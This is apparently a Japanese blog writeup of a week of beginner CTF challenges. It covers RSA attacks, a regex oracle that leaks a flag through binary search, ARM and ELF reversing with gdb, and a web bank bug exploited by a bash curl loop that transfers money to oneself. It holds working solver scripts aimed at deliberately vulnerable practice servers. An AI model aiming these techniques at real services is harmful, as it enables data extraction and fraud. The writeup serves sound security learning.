Daily AlpacaHack 2週間目Writeup 12/08~12/14

Daily AlpacaHack

Daily AlpacaHackという毎日CTFを解ける初心者向けの常設CTF。 2週間目、まだ続けられてます。

alpacahack.com

Daily AlpacaHackで複数問題のWriteupを投稿できるようになりました!週ごとの記事などにぜひ

とのことなのですが、これもしかして僕のために実装してくれましたか?(いいえ

てことで今週もWriteUpを書きます。

この記事は nittc procon Advent Calendar 2025 の記事です。ほかの方の記事もぜひ読んでください!(登録してる人のほとんどが OB ですが。

nittc procon Advent Calendar 2025 - Adventar

現役生の皆さんもやりましょう!

12/08 [Crypto, Hard] Fully Padded RSA

Fully Padded RSA

eは大きいし、パディングもしてるし、絶対に安全です!

Crypto, Hard

alpacahack.com

import os
from Crypto.Util.number import *
from math import gcd

flag = os.environ.get("FLAG", "Alpaca{dummy}")
assert len(flag) <= 40

e1 = 65517
e2 = 65577
while True:
    p = getPrime(512)
    q = getPrime(512)
    if gcd((p - 1) * (q - 1), e1) == gcd((p - 1) * (q - 1), e2) == 1:
        break
n = p * q

padded_flag = long_to_bytes(n)[: -len(flag)] + flag.encode()
m = bytes_to_long(padded_flag)
assert m < n
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)

print(f"{n = }")
print(f"{c1 = }")
print(f"{c2 = }")

eが二つあり、それぞれのeで暗号化された暗号文が渡されます。

padded_flag = long_to_bytes(n)[: -len(flag)] + flag.encode()とパディングされており、mは大きく、nの一部がmの上位バイトとして含まれています。

私はCryptoもなにもわからないので、とりあえず以下のサイトを見るようにしてます。

furutsuki.hatenablog.com

使えそうなのは以下の二つです。

nが同じでeが異なる複数の暗号文 (Common Modulus) Common Modulus Attackが適用できる。

mやp, q, dの値が一部わかっている、近似できる LLLやCoppersmith methodを使ってmやp, q, dを求めることができる。

Common Modulus Attackについて調べます。

elliptic-shiho.hatenablog.com

要するにe1s1+e2s2=1となるようなs1,s2をユークリッドの互除法で求めれば、mを求めることができるということでしょう。

Coppersmith methodについて調べます。

inaz2.hatenablog.com

以上のサイトに平文mの上位bitまたは下位bitがわかっている場合のCoppersmithの実装方法が書いてあったのでそれを参考に実装します。

今回はpadded_flag = long_to_bytes(n)[: -len(flag)] + flag.encode()であるため、上位何Bytesがnによってパディングされているかはわかりませんが、これは総当たりで何とかなるでしょう。

以上のサイトの通りsageで実装しました。sageを使う際はDockerを使うと楽です。

hub.docker.com

def commonModulusAttack(N, e1, c1, e2, c2):
    d, s1, s2 = xgcd(e1, e2)
    return (pow(c1, s1, N) * pow(c2, s2, N)) % N


n = 91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462391203805852473243296747559459800718013816237662990504689724747628304890125129146326331097856907
c1 = 84316690833236468829386139306045298111202426584048821548102362931269993141514516100633466389955824290011995159677864206138653174440904170622039293036862729884826231898868928186453091113165643576890891297150845933751243965934735328928976655465009980896153972226679588496970771925581698573227941539852081781874
c2 = 74682069306151159606579889187354529286195652598555930926994495384029865435810129236911316774977007932641783161876484392995815937986886903514990618178943843429073696833993271982336114314882872652681858748846455760309012235191324385691614015531641062111894149446939460102878320469041435024347449132388644171970
e1 = 65517
e2 = 65577
m3 = commonModulusAttack(n, e1, c1, e2, c2)

e=gcd(e1, e2)

for i in range(41, 0, -1):
    n_bytes = int(n).to_bytes((int(n).bit_length() + 7) // 8, "big")
    n_part=n_bytes[:-i]
    mbar = Integer(int.from_bytes(n_part, "big")) * (256 ** i)
    
    PR.<x> = PolynomialRing(Zmod(n))
    f = (mbar + x)^e - m3
    kbits = 8 * i
    print(mbar)
    x0 = f.small_roots(X=2^kbits, beta=1)[0]
    flag=int(x0).to_bytes(i, 'big')
    print(flag)
    print(x0)
~/alpaca/crypto/fully-padded-rsa
❯ sage solver.sage                                                                                    ✘ 1 
91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100974987325425332265867508912452730230575378114891230522415777711911873845950079745924387675301941870592
b'\xdei\x11Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}'
475065772810317418390235901303385252905458835834242947610569427483565693751862389741562215278015357
91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975461514547306707905800607271499871144819915295193699330705955148810378729203048126492772885241790464
b'i\x11Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}'
876650835875380098541082533744683463658431871066032682326190547032914628560187636464631978095485
91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462390635739409841576589604621542250179420310720447176568628740094837061512450342343368240785260544
b'\x11Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}'
562403173444322558749412073578104153416344318186819652599262574582319157971785869276434625405
91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462391189813195404556805069638769497530280116719850253703288913125039285904163877970952322669346816
b'Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}'
8329387881342343284394846330753293610344915109684992426232372357927444436158285194550539133
91102717210596990388603678426683097953697889897819753293818443119019220403217013812232251320814152567699322671590559119510246139859891156830672838769529887961956970370968572962306584295059185945752892892100975462391203690502993335491532342555749819168838882978685552479620583746097130886482608683633543741440
Traceback (most recent call last):
  File "/home/trimscash/alpaca/crypto/fully-padded-rsa/solver.sage.py", line 30, in <module>
    x0 = f.small_roots(X=_sage_const_2 **kbits, beta=_sage_const_1 )[_sage_const_0 ]  # find root < 2^kbits with factor = n
IndexError: list index out of range

CopperSmithよくわからないけど解けました☻

作問者の人とか賢い人とかは、mとnの差を使ってうまいことといててかしこーと思いました。

yu212.hatenablog.com

Alpaca{p4dd1n6_mu57_u53_r4nd0m_v41u3s}

12/09 [Misc, Easy] hit-and-miss

hit-and-miss

みんな大好き正規表現🧩

Misc, Easy

alpacahack.com

import os, re

FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")
assert re.fullmatch(r"Alpaca\{\w+\}", FLAG)

while pattern := input("regex> "):
    if re.match(pattern, FLAG):
        print("Hit!")
    else:
        print("Miss...")

入力された正規表現によってフラグがマッチするかを返してくれるサービスが動いています。

正規表現は結構なことができて、例えばA~Zの文字にマッチする正規表現は次の通りです。

[A-Z]

また次のようにバイト文字?で範囲を指定することもできます。

[\x41-\x5a]

これを使うと効率的に見つけられそうです。具体的には1文字ごとに二分探索すればよいでしょう。

from pwn import *

io = remote("アドレス", ポート番号)

flag = "Alpaca{"

while not flag.endswith("}"):
    lo = 0x21
    hi = 0x7E
    print(lo)
    print(hi)

    while lo + 1 < hi:
        mid = (lo + hi) // 2

        pattern = (
            re.escape(flag)
            + "["
            + "\\x"
            + re.escape(hex(lo)[2:])
            + "-"
            + "\\x"
            + re.escape(hex(mid)[2:])
            + "]"
        )
        print(f"Trying: {pattern}")
        io.sendlineafter(b"regex> ", pattern.encode())
        res = io.recvline().strip()

        if b"Hit" in res:
            hi = mid
        else:
            lo = mid
    flag += chr(hi)
    print(flag)

実行すると一文字ずつ確定していき、フラグが得られました。

Trying: Alpaca\{Reg3x_Crossw[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw[\x21-\x38]
Trying: Alpaca\{Reg3x_Crossw[\x21-\x2c]
Trying: Alpaca\{Reg3x_Crossw[\x2c-\x32]
Trying: Alpaca\{Reg3x_Crossw[\x2c-\x2f]
Trying: Alpaca\{Reg3x_Crossw[\x2f-\x30]
Alpaca{Reg3x_Crossw0
33
126
Trying: Alpaca\{Reg3x_Crossw0[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw0[\x4f-\x66]
Trying: Alpaca\{Reg3x_Crossw0[\x66-\x72]
Trying: Alpaca\{Reg3x_Crossw0[\x66-\x6c]
Trying: Alpaca\{Reg3x_Crossw0[\x6c-\x6f]
Trying: Alpaca\{Reg3x_Crossw0[\x6f-\x70]
Trying: Alpaca\{Reg3x_Crossw0[\x70-\x71]
Alpaca{Reg3x_Crossw0r
33
126
Trying: Alpaca\{Reg3x_Crossw0r[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw0r[\x4f-\x66]
Trying: Alpaca\{Reg3x_Crossw0r[\x4f-\x5a]
Trying: Alpaca\{Reg3x_Crossw0r[\x5a-\x60]
Trying: Alpaca\{Reg3x_Crossw0r[\x60-\x63]
Trying: Alpaca\{Reg3x_Crossw0r[\x63-\x64]
Alpaca{Reg3x_Crossw0rd
33
126
Trying: Alpaca\{Reg3x_Crossw0rd[\x21-\x4f]
Trying: Alpaca\{Reg3x_Crossw0rd[\x4f-\x66]
Trying: Alpaca\{Reg3x_Crossw0rd[\x66-\x72]
Trying: Alpaca\{Reg3x_Crossw0rd[\x72-\x78]
Trying: Alpaca\{Reg3x_Crossw0rd[\x78-\x7b]
Trying: Alpaca\{Reg3x_Crossw0rd[\x7b-\x7c]
Trying: Alpaca\{Reg3x_Crossw0rd[\x7c-\x7d]
Alpaca{Reg3x_Crossw0rd}
Alpaca{Reg3x_Crossw0rd}

今回は\x41とかで直接指定しましたが、string.printableのindexで二分探索でもできますね。

この1文字ずつ二分探索する方法は、Blind SQL Injectionとかでも使われるテクニックなので覚えておくとよいですね。

12/10 [Rev, Medium] Read Assembly

Read Assembly

アセンブリを読もう!

フラグは Alpaca{challenge関数の返り値} として送信してください。

Rev, Medium

alpacahack.com

以下のようなディスアセンブルされたようなアセンブリが渡されます。Armっぽいです。

0000000000000840 <challenge>:
 840:   52800000        mov     w0, #0x0                        // #0
 844:   52800001        mov     w1, #0x0                        // #0
 848:   52800024        mov     w4, #0x1                        // #1
 84c:   52800002        mov     w2, #0x0                        // #0
 850:   14000005        b       864 <challenge+0x24>
 854:   0b030000        add     w0, w0, w3
 858:   11000421        add     w1, w1, #0x1
 85c:   2a0203e4        mov     w4, w2
 860:   2a0303e2        mov     w2, w3
 864:   0b040043        add     w3, w2, w4
 868:   3607ff61        tbz     w1, #0, 854 <challenge+0x14>
 86c:   11000421        add     w1, w1, #0x1
 870:   7100a03f        cmp     w1, #0x28
 874:   54ffff41        b.ne    85c <challenge+0x1c>  // b.any
 878:   d65f03c0        ret

これを読んで返り値を求めればいいですね。 といいつつ再起が入っててだるいのでPythonとかで実装しなおしました。ほとんどGPTにやってもらいました。

def challenge():
    w0 = 0
    w1 = 0
    w4 = 1
    w2 = 0

    while True:
        w3 = w2 + w4
        if (w1 & 1) == 0:
            w0 = w0 + w3
        w1 += 1
        if w1 == 40:
            break
        w4 = w2
        w2 = w3
    return w0


print(challenge())

フィボナッチですね。

Alpaca{102334155}

GPTに渡したら一発目で正解を出してくれてたっぽい。フィボナッチの数列も学習してるんですね。(そらそう(信じられなかったのでPythonで実装しなおしてもらった)

アセンブリがわからなければとりあえずx86_64に入門しておけばいいと思います。(今回のはArm64なので注意)

github.com

12/11 [Web, Medium] Alpaca Bank

Alpaca Bank

🦙 < 銀行を作ってみるパカ!

NOTE1: この問題を解くためには、大量のアカウントを作成する必要はありません。過度なリクエストはお控えください。 NOTE2: この問題は trillion bank - SECCON CTF 13 Quals のオマージュですが、元問題の知識は不要です。

Web, Medium

alpacahack.com

とりあえず、自分に向かって送金してみます。

すると成功してなぜか11yenになってます。

コードを見ていきます。重要な部分を抜粋します。

app.js

app.post('/api/transfer', (req, res) => {
    const { fromUser, toUser, amount } = req.body;

    if (!Number.isInteger(amount) || amount <= 0) {
        return res.status(400).send({ error: 'Invalid amount' });
    }
    if (!users.has(fromUser) || !users.has(toUser)) {
        return res.status(400).send({ error: 'Invalid user ID' });
    }

    const fromBalance = balances.get(fromUser);
    const toBalance = balances.get(toUser);
    if (fromBalance < amount) {
        return res.status(400).send({ error: 'Insufficient funds' });
    }
    
    balances.set(fromUser, fromBalance - amount);
    balances.set(toUser, toBalance + amount);

    res.status(200).json({
        receipt: `${fromUser} -> ${toUser} (${amount} yen)`
    });
});

ここがやばそうです。

    const fromBalance = balances.get(fromUser);
    const toBalance = balances.get(toUser);

// ryaku

    balances.set(fromUser, fromBalance - amount);
    balances.set(toUser, toBalance + amount);

引かれる前の値を使って計算しています。また自分自身を送信先に指定できるためにこのようなことが起きています。

あとは倍々でクリアです。

以下のようにDevToolsから通信を取っておいて、curlコマンドとしてコピーするのが便利です。

以下のように適当にSolverを書きます。

#!/bin/bash
now_amount=10

trillion=1000000000000

while [ $now_amount -lt $trillion ]; do
    
    curl 'http://34.170[.]146.252:30021/api/transfer' \
    -H 'Accept: */*' \
    -H 'Accept-Language: ja,en-US;q=0.9,en;q=0.8' \
    -H 'Connection: keep-alive' \
    -H 'Content-Type: application/json' \
    -H 'Origin: http://34.170.146.252:30021' \
    -H 'Referer: http://34.170.146.252:30021/' \
    --data-raw '{"fromUser":"daf8486f78f8db645266","toUser":"daf8486f78f8db645266","amount":'$now_amount'}' \
    --insecure

    now_amount=$(( 2 * now_amount ))
    
    sleep 1
done
~/alpaca/web/alpaca-bank/web
.venv ❯ sh solver.sh                                                                                ✘ 126 
{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (20 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (40 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (80 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (160 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (320 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (640 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (1280 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (2560 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (5120 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10240 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (20480 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (40960 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (81920 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (163840 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (327680 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (655360 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (1310720 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (2621440 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (5242880 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10485760 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (20971520 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (41943040 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (83886080 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (167772160 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (335544320 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (671088640 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (1342177280 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (2684354560 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (5368709120 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (10737418240 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (21474836480 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (42949672960 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (85899345920 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (171798691840 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (343597383680 yen)"}{"receipt":"daf8486f78f8db645266 -> daf8486f78f8db645266 (687194767360 yen)"}

この状態でSyncするとフラグがもらえました。(ここまでSolverにいれろよな

Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}

送金処理とかってちゃんと作ろうとすると実装めっちゃめんどくさそうですよね。(適当

12/12 [Rev, Hard] Sugoi Flag Checker

Sugoi Flag Checker

すごい暗号を使ったすごいフラグチェッカー

Rev, Hard

alpacahack.com

ELFの実行ファイルのchalだけ渡されます。

~/alpaca/rev/sugoi-flag-checker 10s
.venv ❯ file chal
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3b15c69aae76a5e1439592c86a2483231f792c39, for GNU/Linux 3.2.0, not stripped

~/alpaca/rev/sugoi-flag-checker
.venv ❯ ./chal
flag: a
wrong...

とりあえずディスアセンブルします。

objdump -M intel -d chal

read_flag_input、mainを見ます。

0000000000001f72 <read_flag_input>:
    1f72:       f3 0f 1e fa             endbr64
    1f76:       55                      push   rbp
    1f77:       48 89 e5                mov    rbp,rsp
    1f7a:       48 83 ec 30             sub    rsp,0x30
    1f7e:       48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi
    1f82:       48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
    1f86:       48 89 55 d8             mov    QWORD PTR [rbp-0x28],rdx
    1f8a:       48 8b 15 7f 30 00 00    mov    rdx,QWORD PTR [rip+0x307f]        # 5010 <stdin@GLIBC_2.2.5>
    1f91:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
    1f95:       89 c1                   mov    ecx,eax
    1f97:       48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]
    1f9b:       89 ce                   mov    esi,ecx
    1f9d:       48 89 c7                mov    rdi,rax
    1fa0:       e8 3b f1 ff ff          call   10e0 <fgets@plt>
    1fa5:       48 85 c0                test   rax,rax
    1fa8:       75 07                   jne    1fb1 <read_flag_input+0x3f>
    1faa:       b8 00 00 00 00          mov    eax,0x0
    1faf:       eb 38                   jmp    1fe9 <read_flag_input+0x77>
    1fb1:       48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]
    1fb5:       48 8d 15 ac 12 00 00    lea    rdx,[rip+0x12ac]        # 3268 <flag_len+0x8>
    1fbc:       48 89 d6                mov    rsi,rdx
    1fbf:       48 89 c7                mov    rdi,rax
    1fc2:       e8 09 f1 ff ff          call   10d0 <strcspn@plt>
    1fc7:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
    1fcb:       48 8b 55 e8             mov    rdx,QWORD PTR [rbp-0x18]
    1fcf:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
    1fd3:       48 01 d0                add    rax,rdx
    1fd6:       c6 00 00                mov    BYTE PTR [rax],0x0
    1fd9:       48 8b 45 d8             mov    rax,QWORD PTR [rbp-0x28]
    1fdd:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
    1fe1:       48 89 10                mov    QWORD PTR [rax],rdx
    1fe4:       b8 01 00 00 00          mov    eax,0x1
    1fe9:       c9                      leave
    1fea:       c3                      ret

0000000000001feb <main>:
    1feb:       f3 0f 1e fa             endbr64
    1fef:       55                      push   rbp
    1ff0:       48 89 e5                mov    rbp,rsp
    1ff3:       48 81 ec 80 01 00 00    sub    rsp,0x180
    1ffa:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
    2001:       00 00 
    2003:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
    2007:       31 c0                   xor    eax,eax
    2009:       48 c7 85 80 fe ff ff    mov    QWORD PTR [rbp-0x180],0x0
    2010:       00 00 00 00 
    2014:       48 8d 05 4f 12 00 00    lea    rax,[rip+0x124f]        # 326a <flag_len+0xa>
    201b:       48 89 c7                mov    rdi,rax
    201e:       b8 00 00 00 00          mov    eax,0x0
    2023:       e8 98 f0 ff ff          call   10c0 <printf@plt>
    2028:       48 8d 95 80 fe ff ff    lea    rdx,[rbp-0x180]
    202f:       48 8d 85 70 ff ff ff    lea    rax,[rbp-0x90]
    2036:       be 80 00 00 00          mov    esi,0x80
    203b:       48 89 c7                mov    rdi,rax
    203e:       e8 2f ff ff ff          call   1f72 <read_flag_input>
    2043:       83 f0 01                xor    eax,0x1
    2046:       84 c0                   test   al,al
    2048:       74 0a                   je     2054 <main+0x69>
    204a:       b8 01 00 00 00          mov    eax,0x1
    204f:       e9 06 01 00 00          jmp    215a <main+0x16f>
    2054:       48 8b 85 80 fe ff ff    mov    rax,QWORD PTR [rbp-0x180]
    205b:       ba 20 00 00 00          mov    edx,0x20
    2060:       48 39 d0                cmp    rax,rdx
    2063:       74 19                   je     207e <main+0x93>
    2065:       48 8d 05 05 12 00 00    lea    rax,[rip+0x1205]        # 3271 <flag_len+0x11>
    206c:       48 89 c7                mov    rdi,rax
    206f:       e8 2c f0 ff ff          call   10a0 <puts@plt>
    2074:       b8 00 00 00 00          mov    eax,0x0
    2079:       e9 dc 00 00 00          jmp    215a <main+0x16f>
    207e:       48 8b 05 bb 11 00 00    mov    rax,QWORD PTR [rip+0x11bb]        # 3240 <ciphertext>
    2085:       48 8b 15 bc 11 00 00    mov    rdx,QWORD PTR [rip+0x11bc]        # 3248 <ciphertext+0x8>
    208c:       48 89 85 40 ff ff ff    mov    QWORD PTR [rbp-0xc0],rax
    2093:       48 89 95 48 ff ff ff    mov    QWORD PTR [rbp-0xb8],rdx
    209a:       48 8b 05 af 11 00 00    mov    rax,QWORD PTR [rip+0x11af]        # 3250 <ciphertext+0x10>
    20a1:       48 8b 15 b0 11 00 00    mov    rdx,QWORD PTR [rip+0x11b0]        # 3258 <ciphertext+0x18>
    20a8:       48 89 85 50 ff ff ff    mov    QWORD PTR [rbp-0xb0],rax
    20af:       48 89 95 58 ff ff ff    mov    QWORD PTR [rbp-0xa8],rdx
    20b6:       48 8d 85 90 fe ff ff    lea    rax,[rbp-0x170]
    20bd:       48 8d 15 6c 11 00 00    lea    rdx,[rip+0x116c]        # 3230 <key>
    20c4:       48 89 d6                mov    rsi,rdx
    20c7:       48 89 c7                mov    rdi,rax
    20ca:       e8 4f fe ff ff          call   1f1e <init_cipher>
    20cf:       48 c7 85 88 fe ff ff    mov    QWORD PTR [rbp-0x178],0x0
    20d6:       00 00 00 00 
    20da:       eb 2b                   jmp    2107 <main+0x11c>
    20dc:       48 8d 95 40 ff ff ff    lea    rdx,[rbp-0xc0]
    20e3:       48 8b 85 88 fe ff ff    mov    rax,QWORD PTR [rbp-0x178]
    20ea:       48 01 c2                add    rdx,rax
    20ed:       48 8d 85 90 fe ff ff    lea    rax,[rbp-0x170]
    20f4:       48 89 d6                mov    rsi,rdx
    20f7:       48 89 c7                mov    rdi,rax
    20fa:       e8 49 fe ff ff          call   1f48 <decrypt_block>
    20ff:       48 83 85 88 fe ff ff    add    QWORD PTR [rbp-0x178],0x10
    2106:       10 
    2107:       48 83 bd 88 fe ff ff    cmp    QWORD PTR [rbp-0x178],0x1f
    210e:       1f 
    210f:       76 cb                   jbe    20dc <main+0xf1>
    2111:       c6 85 60 ff ff ff 00    mov    BYTE PTR [rbp-0xa0],0x0
    2118:       48 8d 95 40 ff ff ff    lea    rdx,[rbp-0xc0]
    211f:       48 8d 85 70 ff ff ff    lea    rax,[rbp-0x90]
    2126:       48 89 d6                mov    rsi,rdx
    2129:       48 89 c7                mov    rdi,rax
    212c:       e8 bf ef ff ff          call   10f0 <strcmp@plt>
    2131:       85 c0                   test   eax,eax
    2133:       75 11                   jne    2146 <main+0x15b>
    2135:       48 8d 05 3e 11 00 00    lea    rax,[rip+0x113e]        # 327a <flag_len+0x1a>
    213c:       48 89 c7                mov    rdi,rax
    213f:       e8 5c ef ff ff          call   10a0 <puts@plt>
    2144:       eb 0f                   jmp    2155 <main+0x16a>
    2146:       48 8d 05 24 11 00 00    lea    rax,[rip+0x1124]        # 3271 <flag_len+0x11>
    214d:       48 89 c7                mov    rdi,rax
    2150:       e8 4b ef ff ff          call   10a0 <puts@plt>
    2155:       b8 00 00 00 00          mov    eax,0x0
    215a:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
    215e:       64 48 2b 14 25 28 00    sub    rdx,QWORD PTR fs:0x28
    2165:       00 00 
    2167:       74 05                   je     216e <main+0x183>
    2169:       e8 42 ef ff ff          call   10b0 <__stack_chk_fail@plt>
    216e:       c9                      leave
    216f:       c3                      ret

特に以下の部分を見ると、何らかの処理をした後の配列と入力した文字列をそのままstrcmpで比較していることがわかります。

  212c:       e8 bf ef ff ff          call   10f0 <strcmp@plt>

入力した文字列をそのままと比較し、フラグがあっているかどうかを判別しているようなので、この時の何らかの処理をした後の配列はフラグだと思われます。まあgdbでここを見てみればわかります。

gdbデバッグします。そのままのgdbだと使いづらいので、pwndbgとかを使うといいです。

github.com

b main 
c

適当にgdbのコマンド説明。(詳しくは調べればわかりやすいのがいっぱい出てきます。

今回は以下の時のスタック等を見たいので、ここにブレークポイントを置いておきます。

  212c:       e8 bf ef ff ff          call   10f0 <strcmp@plt>
b *main+0x212c-0x1feb

mainにブレークポイントを付けた際にわかるように、オフセットがついているので以上のようにしてます。

pwndbg> b main
Breakpoint 2 at 0x555555555ff3

とりあえず適当に進めます。 途中、Flagの入力ののち以下のような判定が入り分岐します。

read_flag_inputで文字列(flag)を読み取り、その後入力された文字数と0x20を比較、等しければその後の処理に続きます。

    203e:       e8 2f ff ff ff          call   1f72 <read_flag_input>
    2043:       83 f0 01                xor    eax,0x1
    2046:       84 c0                   test   al,al
    2048:       74 0a                   je     2054 <main+0x69>
    204a:       b8 01 00 00 00          mov    eax,0x1
    204f:       e9 06 01 00 00          jmp    215a <main+0x16f>
    2054:       48 8b 85 80 fe ff ff    mov    rax,QWORD PTR [rbp-0x180]
    205b:       ba 20 00 00 00          mov    edx,0x20
    2060:       48 39 d0                cmp    rax,rdx
    2063:       74 19                   je     207e <main+0x93>
    2065:       48 8d 05 05 12 00 00    lea    rax,[rip+0x1205]        # 3271 <flag_len+0x11>
    206c:       48 89 c7                mov    rdi,rax
    206f:       e8 2c f0 ff ff          call   10a0 <puts@plt>
    2074:       b8 00 00 00 00          mov    eax,0x0
    2079:       e9 dc 00 00 00          jmp    215a <main+0x16f>

なので取り合えずここを乗り越えるために0x20を入力する必要があります。もしくは、デバッガパワーで乗り越えましょう。レジスタの値を変えることができます(というかもっと言えばRIP(次に実行する命令を指すアドレス)を変えれば行きたいとこにいけます)。 以下のようなコマンドで、RAX、RIP、もしくはフラグレジスタを変えましょう。

set $rax=0x20
set $rip=分岐先のアドレス

私はひとまず0x20文字入力しました。そのほうが楽だからです。あとは文字数がその後の処理に関わる可能性があるためです。(読めば関わっているかわかるけど、読むのがめんどくさい)

0x20入力するなら、以下のとこにブレークポイントつけて実行するだけです。話が行ったり来たりしててすみません。

b *main+0x212c-0x1feb
r

すると引数にフラグがありました

Alpaca{m3ccha_rand0m_5b0x_d4yo!}

12/13 [Crypto, Easy] Safe Prime

Safe Prime

Using a safe prime makes RSA secure, doesn't it?

Crypto, Easy

alpacahack.com

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

qがq=2*p+1となるようにpが生成されています。

このときn=p*q=p*(2p+1)=2p^2+pとなります。二次方程式なので、解の公式にぶち込めばpが求まります。

solver.py

import os
from Crypto.Util.number import getPrime, isPrime, long_to_bytes


n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537


from math import isqrt

p = (-1 + isqrt(1 + 8 * n)) // 4
q = 2 * p + 1

assert n == p * q

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

12/14 [Rev, Medium] power_obfus_royalty

power_obfus_royalty

literal

Powershellの王道

Rev, Medium

alpacahack.com

以下のように難読化されたパワーシェルのスクリプトpower_obfus_royalty.ps1が渡されます。

以下のような構造なので正規表現でマッチさせ、文字に置き換えるコードを猫に書いてもらいます。

[CHAr]73
import re
import sys

import re

pattern = re.compile(r"(?:\[\s*char\s*\]\s*\d+\s*\+?\s*)+", re.IGNORECASE)


def repl(m):
    nums = re.findall(r"\d+", m.group())
    return '"' + "".join(chr(int(n)) for n in nums) + '"'


def deobfuscate(code):
    return pattern.sub(repl, code)


if __name__ == "__main__":
    data = open(sys.argv[1], "r", encoding="utf-8").read()
    out = deobfuscate(data)
    print(out)

あとは以下のように難読化解除していきます。

~/alpaca/rev/power-obfus-royalty
.venv ❯ python solver.py power_obfus_royalty.ps1 > 1.ps1                                                                                                                              ✘ 1 

~/alpaca/rev/power-obfus-royalty
.venv ❯ python solver.py 1.ps1 > 2.ps1

